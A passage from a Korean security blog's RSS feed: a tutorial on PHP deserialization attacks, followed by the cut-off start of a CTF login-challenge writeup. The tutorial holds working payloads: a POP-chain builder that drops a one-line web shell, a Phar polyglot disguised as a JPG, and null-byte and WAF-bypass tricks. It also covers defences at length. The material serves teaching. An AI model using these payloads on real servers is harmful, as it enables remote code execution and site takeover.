        file_put_contents($this-&amp;gt;filename, $this-&amp;gt;content);
        return &quot;파일 저장됨&quot;;
    }
}

// 3. 취약한 코드
$data = $_GET['data'];
$obj = unserialize($data);  // 역직렬화
// ... 스크립트 종료 시 __destruct() 자동 호출&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;공격 페이로드 구성&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773823753330&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// === 공격자의 로컬 환경 ===

// 1단계: FileManager 객체 생성 (최종 싱크)
$fileManager = new FileManager();
$ref = new ReflectionClass('FileManager');

// filename 설정
$filenameProp = $ref-&amp;gt;getProperty('filename');
$filenameProp-&amp;gt;setAccessible(true);
$filenameProp-&amp;gt;setValue($fileManager, 'shell.php');

// content 설정 (웹셸 코드)
$contentProp = $ref-&amp;gt;getProperty('content');
$contentProp-&amp;gt;setAccessible(true);
$contentProp-&amp;gt;setValue($fileManager, '&amp;lt;?php system($_GET[&quot;cmd&quot;]); ?&amp;gt;');

// 2단계: Template 객체 생성 (진입점)
$template = new Template();
$templateRef = new ReflectionClass('Template');

// template_data에 FileManager 객체 할당
$dataProp = $templateRef-&amp;gt;getProperty('template_data');
$dataProp-&amp;gt;setAccessible(true);
$dataProp-&amp;gt;setValue($template, $fileManager);  // &amp;larr; 객체 연결!

// 3단계: 직렬화
$payload = serialize($template);
echo urlencode($payload);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;공격 실행 흐름&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773824938136&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;1. 공격자가 페이로드 전송
   GET /page.php?data=O:8:&quot;Template&quot;:1:{...}

2. 피해자 서버에서 역직렬화
   $obj = unserialize($_GET['data']);
   &amp;rarr; Template 객체 생성
   &amp;rarr; template_data = FileManager 객체

3. 스크립트 종료 시
   Template::__destruct() 자동 호출

4. __destruct() 내부
   echo $this-&amp;gt;template_data;
   &amp;rarr; template_data는 FileManager 객체
   &amp;rarr; FileManager::__toString() 자동 호출

5. __toString() 내부
   file_put_contents($this-&amp;gt;filename, $this-&amp;gt;content);
   &amp;rarr; file_put_contents('shell.php', '&amp;lt;?php system(...) ?&amp;gt;');
   &amp;rarr; 웹셸 파일 생성!

6. 공격자가 웹셸 실행
   http://victim.com/shell.php?cmd=whoami&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 클래스는 개별적으로는 무해하지만&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Template&lt;/b&gt;: 단순히 데이터를 출력&lt;/li&gt;
&lt;li&gt;&lt;b&gt;FileManager&lt;/b&gt;: 파일 관리 기능&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Phar Deserialization&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Phar란?&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;Phar (PHP Archive)는 PHP 애플리케이션을 단일 파일로 패키징하는 포맷이다.&lt;br /&gt;JAR(Java), EXE(Windows)와 유사한 개념으로, 여러 PHP 파일을 하나로 묶을 수 있다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 여기서 핵심은, Metadata 영역에 직렬화된 객체를 저장할 수 있다는 점이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;위험한 이유?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PHP의 파일 시스템 함수들이 phar:// 래퍼로 파일에 접근할 때&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; Metadata가 자동으로 역직렬화됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; unserialize()를 명시적으로 호출하지 않아도 공격이 가능해진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일반적인 취약 함수들:&lt;/p&gt;
&lt;pre id=&quot;code_1773825502935&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// phar:// 래퍼 사용 시 자동 역직렬화 발생

file_exists('phar://evil.jpg')
fopen('phar://evil.jpg', 'r')
file_get_contents('phar://evil.jpg')
file('phar://evil.jpg')
include('phar://evil.jpg')
require('phar://evil.jpg')
is_file('phar://evil.jpg')
is_dir('phar://evil.jpg')
filesize('phar://evil.jpg')
md5_file('phar://evil.jpg')
stat('phar://evil.jpg')
unlink('phar://evil.jpg')
copy('phar://evil.jpg', 'dest')
// ... 그 외 여러 개 등등&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;공격 시나리오&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;1. 악성 Phar 파일 생성&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773825566587&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php
class Evil {
    public $cmd = 'system';
    public $arg = 'whoami';
}

// Phar 파일 생성
$phar = new Phar('evil.phar');
$phar-&amp;gt;startBuffering();

// 더미 파일 추가
$phar-&amp;gt;addFromString('test.txt', 'dummy content');

// Metadata에 악성 객체 삽입
$evilObj = new Evil();
$phar-&amp;gt;setMetadata($evilObj);  // &amp;larr; 여기서 직렬화됨

$phar-&amp;gt;stopBuffering();
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;2. 파일 확장자 위장&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773825602828&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# Phar는 앞부분에 다른 데이터가 있어도 작동
mv evil.phar evil.jpg

# 또는 실제 이미지 헤더 추가
cat real_image.jpg evil.phar &amp;gt; evil.jpg

# 이미지 파일로 위장했지만, 내부에는 Phar 구조&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;3. 서버에 업로드&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773825661756&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;!-- 일반적인 이미지 업로드 폼 --&amp;gt;
&amp;lt;form method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;
    &amp;lt;input type=&quot;file&quot; name=&quot;profile_pic&quot;&amp;gt;
    &amp;lt;input type=&quot;submit&quot; value=&quot;Upload&quot;&amp;gt;
&amp;lt;/form&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버는 확장자만 확인:&lt;/p&gt;
&lt;pre id=&quot;code_1773825684654&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// 취약한 업로드 검증
$ext = pathinfo($_FILES['profile_pic']['name'], PATHINFO_EXTENSION);
if ($ext == 'jpg') {
    move_uploaded_file($_FILES['profile_pic']['tmp_name'], 
                       'uploads/' . $_FILES['profile_pic']['name']);
    // &amp;rarr; uploads/evil.jpg 저장됨
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;4. 취약한 코드 트리거&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773825797095&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// 개발자가 작성한 정상적인 코드
$filename = $_GET['file'];

// 파일 존재 여부 확인
if (file_exists($filename)) {
    echo &quot;파일이 존재합니다!&quot;;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;5. 공격 실행&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773825826099&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;GET /check.php?file=phar://uploads/evil.jpg&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;실행 과정&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;file_exists('phar://uploads/evil.jpg') 호출&lt;/li&gt;
&lt;li&gt;PHP가 phar:// 래퍼 인식&lt;br /&gt;&amp;rarr; evil.jpg를 Phar로 파싱&lt;/li&gt;
&lt;li&gt;Metadata 영역 접근&lt;br /&gt;&amp;rarr; 저장된 직렬화 데이터 발견&lt;/li&gt;
&lt;li&gt;자동으로 unserialize() 실행&lt;br /&gt;&amp;rarr; Evil 객체 생성&lt;/li&gt;
&lt;li&gt;Evil::__wakeup() 또는 __destruct() 호출&lt;br /&gt;&amp;rarr; RCE 발생&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;분명 unserialize() 호출이 코드에 없고, 일반 파일 함수만 사용했으며, 확장자 검사 했음에도 터짐&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Private/Protected 속성 조작 및 WAF 우회&lt;/h3&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;Private 속성 직렬화 포맷&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773826073263&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;class User {
    public $name = &quot;Alice&quot;;        // public
    protected $email = &quot;a@b.com&quot;;  // protected
    private $password = &quot;secret&quot;;   // private
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;직렬화 결과:&lt;/p&gt;
&lt;pre id=&quot;code_1773826176800&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;O:4:&quot;User&quot;:3:{
    s:4:&quot;name&quot;;s:5:&quot;Alice&quot;;
    s:8:&quot;\x00*\x00email&quot;;s:7:&quot;a@b.com&quot;;
    s:14:&quot;\x00User\x00password&quot;;s:6:&quot;secret&quot;;
}&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;공격 방법: NULL 바이트 인코딩&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;터미널에서:&lt;/p&gt;
&lt;pre id=&quot;code_1773826239661&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;O:4:&quot;User&quot;:1:{s:14:&quot;\x00User\x00password&quot;;s:4:&quot;hack&quot;;}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTTP 요청 시:&lt;/p&gt;
&lt;pre id=&quot;code_1773826309012&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;POST /api/deserialize HTTP/1.1
Content-Type: application/x-www-form-urlencoded

data=O:4:&quot;User&quot;:1:{s:14:&quot;%00User%00password&quot;;s:4:&quot;hack&quot;;}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;NULL 바이트 \x00를 URL 인코딩 %00으로 변환하여 전송&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;WAF 우회&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Hex 인코딩&lt;/li&gt;
&lt;li&gt;대소문자 혼합&lt;/li&gt;
&lt;li&gt;Plus 부호 활용&lt;/li&gt;
&lt;li&gt;길이 계산 오류 유도&lt;/li&gt;
&lt;li&gt;etc.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;방어 기법&lt;/h2&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. unserialize() 사용 X&lt;/h4&gt;
&lt;pre id=&quot;code_1773829562153&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// bad case
$data = serialize($object);
$object = unserialize($data);

// good case
$data = json_encode($object);
$object = json_decode($data, true);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;JSON&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;직렬화된 클래스 정보가 없음&lt;/li&gt;
&lt;li&gt;매직 메서드가 호출되지 않음&lt;/li&gt;
&lt;li&gt;객체가 아니 배열로 복원&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. allowed_classes 옵션 사용&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약, 불가피하게 unserialize()를 사용해야 한다면:&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;참고로, PHP 7.0 이상에서만 발생&lt;/blockquote&gt;
&lt;pre id=&quot;code_1773829743038&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// 클래스 객체를 절대 허용하지 않음
$data = unserialize($input, ['allowed_classes' =&amp;gt; false]);
// &amp;rarr; 모든 객체가 __PHP_Incomplete_Class로 변환됨

// 특정 클래스만 허용
$data = unserialize($input, [
    'allowed_classes' =&amp;gt; ['SafeClass1', 'SafeClass2']
]);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;입력 검증&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;서명 검증&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773829789307&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// 직렬화 시
$data = serialize($object);
$signature = hash_hmac('sha256', $data, SECRET_KEY);
$package = $signature . ':' . $data;

// 역직렬화 시
list($sig, $data) = explode(':', $package, 2);
$expected = hash_hmac('sha256', $data, SECRET_KEY);

if (!hash_equals($expected, $sig)) {
    die(&quot;변조 감지!&quot;);
}

$object = unserialize($data, ['allowed_classes' =&amp;gt; false]);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&amp;rarr; hash_eqauls()를 사용하여 타이밍 공격 방지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;암호화&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773829907516&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// 직렬화 후 암호화
$data = serialize($object);
$encrypted = openssl_encrypt(
    $data, 
    'aes-256-cbc', 
    ENCRYPTION_KEY, 
    0, 
    INIT_VECTOR
);

// 복호화 후 역직렬화
$decrypted = openssl_decrypt(
    $encrypted, 
    'aes-256-cbc', 
    ENCRYPTION_KEY, 
    0, 
    INIT_VECTOR
);
$object = unserialize($decrypted, ['allowed_classes' =&amp;gt; false]);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Phar 공격 방어&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;phar.readonly 설정&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;php.ini:&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773836518866&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;phar.readonly = 1&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;새로운 Phar 파일 생성 불가&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;Stream Wrapper 비활성화&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773836557914&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// 스크립트 시작 시
stream_wrapper_unregister('phar');

// 이후 phar:// 사용 불가
file_exists('phar://evil.jpg');  // Warning!&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;입력 검증&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773836580717&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;function validatePath($path) {
    // phar:// 프로토콜 차단
    if (preg_match('/^phar:\/\//i', $path)) {
        die(&quot;Phar protocol not allowed!&quot;);
    }
    
    // 실제 파일 경로만 허용
    $realPath = realpath($path);
    if ($realPath === false) {
        die(&quot;Invalid path!&quot;);
    }
    
    // 업로드 디렉토리 내부인지 확인
    if (strpos($realPath, UPLOAD_DIR) !== 0) {
        die(&quot;Path traversal detected!&quot;);
    }
    
    return $realPath;
}

// 사용
$safe_path = validatePath($_GET['file']);
if (file_exists($safe_path)) {
    // ...
}&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;WordPress&amp;nbsp;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;1. 코어 설계부터 직렬화에 의존&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;WordPress는 설계부터 다음과 같이 serialize() / unserialize()에 크게 의존한다.&lt;/p&gt;
&lt;pre id=&quot;code_1773836750100&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// 1. Options 테이블
update_option('theme_mods', $data);  
// 내부적으로 serialize() 사용

// 2. Meta 테이블
update_post_meta($post_id, 'custom_data', $array);
// 내부적으로 serialize() 사용

update_user_meta($user_id, 'preferences', $array);
// 내부적으로 serialize() 사용&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;2. 광범위한 공격 표면&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;AJAX 핸들러&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1773837150000&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// 인증된 사용자용
add_action('wp_ajax_save_data', 'handler');

// 비인증 사용자용 (누구나 접근 가능!)
add_action('wp_ajax_nopriv_save_data', 'handler');&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;REST API&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1773837181245&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;register_rest_route('myplugin/v1', '/save', [
    'callback' =&amp;gt; 'save_callback',
    // permission_callback 누락 시 누구나 접근!
]);&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Shortcode&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1773837245451&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;add_shortcode('custom', 'shortcode_handler');
// 게시글 편집 권한만 있으면 공격 가능&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Admin Action Hook&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1773837332979&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;add_action('admin_action_export', 'export_handler');&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Widget 업데이트&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1773837348672&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;class MyWidget extends WP_Widget {
    public function update($new, $old) {
        // 취약점 발생 가능
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;3. 개발자들의 인식 부족&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PatchStack Academy&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;We don't recommend doing the deserialization using the un serialize ormaybe_unserialize functions.&lt;br /&gt;For more complex data, we can use other data formats such as JSON.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 많은 개발자가&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;WordPress 코어가 하니까 따라 함&lt;/li&gt;
&lt;li&gt;unserialize() 위험성을 모름&lt;/li&gt;
&lt;li&gt;JSON 대안을 고려하지 않음&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;PatchStackAcademy 권장사항&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773893147561&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// bad case
$data = unserialize($_POST['data']);
$data = maybe_unserialize($_POST['data']);

// good case
$data = json_decode($_POST['data'], true);

// 불가피한 경우
$data = unserialize($input, ['allowed_classes' =&amp;gt; false]);&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;그 외에도 WAF 규칙 등 참고&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;참고자료&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection&quot;&gt;https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://patchstack.com/academy/wordpress/vulnerabilities/php-object-injection/&quot;&gt;https://patchstack.com/academy/wordpress/vulnerabilities/php-object-injection/&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.skshieldus.com/kor/eqstinsight/cve2409.html&quot;&gt;https://www.skshieldus.com/kor/eqstinsight/cve2409.html&lt;/a&gt;&lt;/p&gt;</description>
      <category>Web Study</category>
      <category>web</category>
      <category>webstudy</category>
      <author>y3onbug5</author>
      <guid isPermaLink="true">https://yeonbugs.tistory.com/170</guid>
      <comments>https://yeonbugs.tistory.com/170#entry170comment</comments>
      <pubDate>Thu, 19 Mar 2026 13:06:51 +0900</pubDate>
    </item>
    <item>
      <title>Another Login Challenge</title>
      <link>https://yeonbugs.tistory.com/169</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;문제설명&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Topic: Login&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;분야: Web&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;난이도: Medium&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Login!, login!, and login!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 URL: &lt;a href=&quot;https://alpacahack.com/daily/challenges/alert-my-flag&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://alpacahack.com/daily/challenges/alert-my-flag&lt;/a&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;코드 분석&lt;/h2&gt;
&lt;pre id=&quot;code_1773579146910&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;let users = {
  admin: {
    password: crypto.randomBytes(32).toString(&quot;base64&quot;),
  },
};&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;users는 사용자 정보를 저장한 객체&lt;br /&gt;현재 admin 한 명만 있음&lt;/li&gt;
&lt;li&gt;password는 랜덤한 비밀번호 생성&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1773579314993&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;app.get(&quot;/&quot;, (req, res) =&amp;gt; {
  res.send(`
    &amp;lt;h2&amp;gt;Login&amp;lt;/h2&amp;gt;
    &amp;lt;form method=&quot;POST&quot;&amp;gt;
      &amp;lt;input name=&quot;username&quot; placeholder=&quot;username&quot; required /&amp;gt;
      &amp;lt;br /&amp;gt;
      &amp;lt;input name=&quot;password&quot; type=&quot;password&quot; placeholder=&quot;password&quot; required /&amp;gt;
      &amp;lt;br /&amp;gt;
      &amp;lt;button&amp;gt;Login&amp;lt;/button&amp;gt;
    &amp;lt;/form&amp;gt;
  `);
});&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;GET / 요청 시 로그인 폼 HTML을 보여줌&lt;/li&gt;
&lt;li&gt;브라우저에서 /에 접속하면 아이디/비번 입력창이 나옴&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1773579359027&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;app.post(&quot;/&quot;, (req, res) =&amp;gt; {
  const { username, password } = req.body;
  const user = users[username];
  if (!user || user.password !== password) {
